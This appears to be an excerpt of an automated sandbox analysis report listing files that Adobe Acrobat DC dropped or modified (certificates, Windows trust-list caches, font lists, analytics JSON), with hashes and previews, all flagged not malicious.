File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklFYSGDtfllXlE/HT8ko5lJltNNX8RolJuRdxLlGB9lQRYwpDdt:kKp1DeT8xNMa8RdWBwRd
MD5:	E4248E43A3E9A3D51FF8FDB38DE92448
SHA1:	F5E29DAF41BAB032BEBFB881CDEC70524AB7B42F
SHA-256:	BE61C1A555FA4C73BDEA2F90667E0B7283B0AA3BD4D20063CD6CA9A75048C629
SHA-512:	789E5164204B5CDDCF7B7F8195E1F9F11021CC1D7F10747ED83C6050BFBC98582D6562EF9F7BA9B03841DA0C5EF1D532B48DA47062AF46BF0BEEBA8E0F6B95D8
Malicious:	false
Preview:	p...... .........=H.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.139179158420051
Encrypted:	false
SSDEEP:	6:kKfLG+sL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:3uiDnLNkPlE99SNxAhUe/3
MD5:	989AD0FD80E3EA84B83FD5BF151748C5
SHA1:	5948968E60EA6AF79BDF4B83EC602ACC470F392C
SHA-256:	E798D711E7FCA86D9C2587A2BDD41567AC14F9FA2CD1B0E11AFE898A77744EDD
SHA-512:	318DFBD1345B8E189A56FA5216F77C7C5487A9FA38C17A7FC730FB843495686A389313A23D856F6E314D5405D9221483E996B8EBF4753BAA24C1AC753C695DFD
Malicious:	false
Preview:	p...... ........{...c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5908

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5908

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.338160769614424
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSvdv4Zd7+FIbRI6XVW7+0YRW4oAvJM3g98kUwPeUkwRe9:YvXKXSR4ZdyYpW7aWDGMbLUkee9
MD5:	0EA64A4119B8FD7BF470DAB07B105941
SHA1:	761C0FE7BEED02850EDE44926E72DC0369EADB27
SHA-256:	A1BBB8CC1E092C18671EF39D492DC75142CD501033AECD72451FE520AD5A2FC1
SHA-512:	167AEB7FDB793B1553E07B7433725EB67B8B9E2D296FBB1B9C5EC918A0864974BE8BA4882348ECE13BFD9728F4189B4E20C26BC5D735842990C571E84456A9A9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bbe95460-e6cf-468f-af06-78a64ba791ee","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736721965375,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.272830864309895
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSvdv4Zd7+FIbRI6XVW7+0YRW4oAvJfBoTfXpnrPeUkwRe9:YvXKXSR4ZdyYpW7aWDGWTfXcUkee9
MD5:	0BA352433A2DEA0BFF0CE2D36B7A3F5F
SHA1:	391EC0DB8564EEDA5350F43302EB967137382D93
SHA-256:	523080160B0687C655B4D6398C3C20DB3E17D7996D1E12A53525DFD99F86EF21
SHA-512:	0B41EB9D920EE45D15D0ADE1258E0E2EF4DFD24A03519E377B79FF8E7D125C184F8ADDC9E774B077B37192172F32EDD18AB2B9F8E537F59321E6A345AF36FDAA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bbe95460-e6cf-468f-af06-78a64ba791ee","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736721965375,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.252357047383927
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSvdv4Zd7+FIbRI6XVW7+0YRW4oAvJfBD2G6UpnrPeUkwRe9:YvXKXSR4ZdyYpW7aWDGR22cUkee9
MD5:	F506C6B6154E0FD4E09C6006B222AD30
SHA1:	CA82AB1EB21CC88EF87A8C82AF68C3BAE243E327
SHA-256:	F8FB9F64BE8D98A01A0E44F1D987652D33911381C963C46DD5875A05055BAB68
SHA-512:	266912A549EB2545E6938F9EE18C260F526EE385D57DC35BFA2E6BD7C6659E448FAEE8C4D5BFAB42FC79CFB64F3F9A5BA08A82CE7669C93F859136CEDC79886D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bbe95460-e6cf-468f-af06-78a64ba791ee","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736721965375,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3161693449279115
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSvdv4Zd7+FIbRI6XVW7+0YRW4oAvJfPmwrPeUkwRe9:YvXKXSR4ZdyYpW7aWDGH56Ukee9
MD5:	B4B945452F4F24DC5E3327286E5E6036
SHA1:	C76E4EFA5EC468925DCB0499D3165F88A23BB065
SHA-256:	B129038E875186F954AE27633156685F866B54354713432CB4BE60CC26B6D1D9
SHA-512:	0CC66B8A25A10074B94EB31631D49BE0048DF7871C2C91BDDC2F30A852A0DC16B1EE3DB7D549E44BC9273BDACD3A7763C9958B5461E329C0950C518AE923ADFF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bbe95460-e6cf-468f-af06-78a64ba791ee","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736721965375,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6872332317126295
Encrypted:	false
SSDEEP:	24:Yv6XJ5idYpLgE9cQx8LennAvzBvkn0RCmK8czOCCSe:Yv9Khgy6SAFv5Ah8cv/e
MD5:	9CC13B364D3E8E97A334075A26E5F487
SHA1:	53472786A10E4DBABC5791BBCBB191C83C034D75
SHA-256:	3AB60B008D3E01953FD561205814A017A584305085D995463473288FBE5066AC
SHA-512:	F8AF7AEB15E7D2331FF1C7C196C7ACFAE71CD9175521EAB75BD4B71E0FAB2B092D1E4A04371A7FEE97D4457197718E141FEF8D0B7E24E7C66D3052929A3A3446
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bbe95460-e6cf-468f-af06-78a64ba791ee","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736721965375,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.261546439335938
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSvdv4Zd7+FIbRI6XVW7+0YRW4oAvJf8dPeUkwRe9:YvXKXSR4ZdyYpW7aWDGU8Ukee9
MD5:	B48F8054B98E07EE23CEC465511769A0
SHA1:	BF411EB1EDAF2DCBC1ADFDC547B3C516FB6BF044
SHA-256:	25545350903D2AB4B99F3AFE26DBE986FAFE69815A01A58071477CFE42133F9B
SHA-512:	D6D0A3B81EC03B59CC898187EBE7EF6760926DF9AFC7F4DE10080213E2732DC223DCFA234AC6331DE5C7FCBBF2BAFE4835D6AD096382CEEB570C17DD983E601B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bbe95460-e6cf-468f-af06-78a64ba791ee","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736721965375,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.2626709233012186
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSvdv4Zd7+FIbRI6XVW7+0YRW4oAvJfQ1rPeUkwRe9:YvXKXSR4ZdyYpW7aWDGY16Ukee9
MD5:	1DB05CB4FFD09D241A7923A94F5E4B04
SHA1:	6F07744F5193361C2B8850CC7332DFC6F4CAD976
SHA-256:	D9704B903E79AF4AB1944B6E35E83B1567527508741C1961D877A8EB7B3982ED
SHA-512:	B10A2EC8C38CF8906A77854F56AD88EEDAEFF00FE03098FA9CFA6411528918FBB0C8D64FE03BC8D7B7C854C4245EA668B00C203F57AD3C04A8FCBF69044FE5AA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bbe95460-e6cf-468f-af06-78a64ba791ee","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736721965375,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.283829972959139
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSvdv4Zd7+FIbRI6XVW7+0YRW4oAvJfFldPeUkwRe9:YvXKXSR4ZdyYpW7aWDGz8Ukee9
MD5:	E6A9BA1875A63AAB91F08D0E0FC1402F
SHA1:	2D585339D05514D1FCF03B79FA8B4A35D94BA18A
SHA-256:	5020A08602BD354906C673BFDADA299AD426B52CC3646C6D3D46A512D03039B1
SHA-512:	21F66485F2119544B0CDE549F4B25274C318B752F8675BA2729AADA468938EC09B85B5975929C83CB97A9651D0E0358E8F0C030808593E1D4369663121FE2A2D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bbe95460-e6cf-468f-af06-78a64ba791ee","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736721965375,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.28820393143211
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSvdv4Zd7+FIbRI6XVW7+0YRW4oAvJfzdPeUkwRe9:YvXKXSR4ZdyYpW7aWDGb8Ukee9
MD5:	62815BEAF00C6C1EB383C50AB6B1CF15
SHA1:	B40A4B0C7A376EA010B68E74C0A71C282A0F001D
SHA-256:	53CE411177E91B194F187D3C0C61D8E1031807080E8472B0EE41F044F720596F
SHA-512:	E39A8FAC23637DEC2025C1FAB7E6AE6584AA5DBB620F97AB0EC93E6889E46B3D8CFF7495F4882294F584E66DE6563DFF16A1FAC9CAC98D8EE49430D6BACCEE67
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bbe95460-e6cf-468f-af06-78a64ba791ee","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736721965375,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

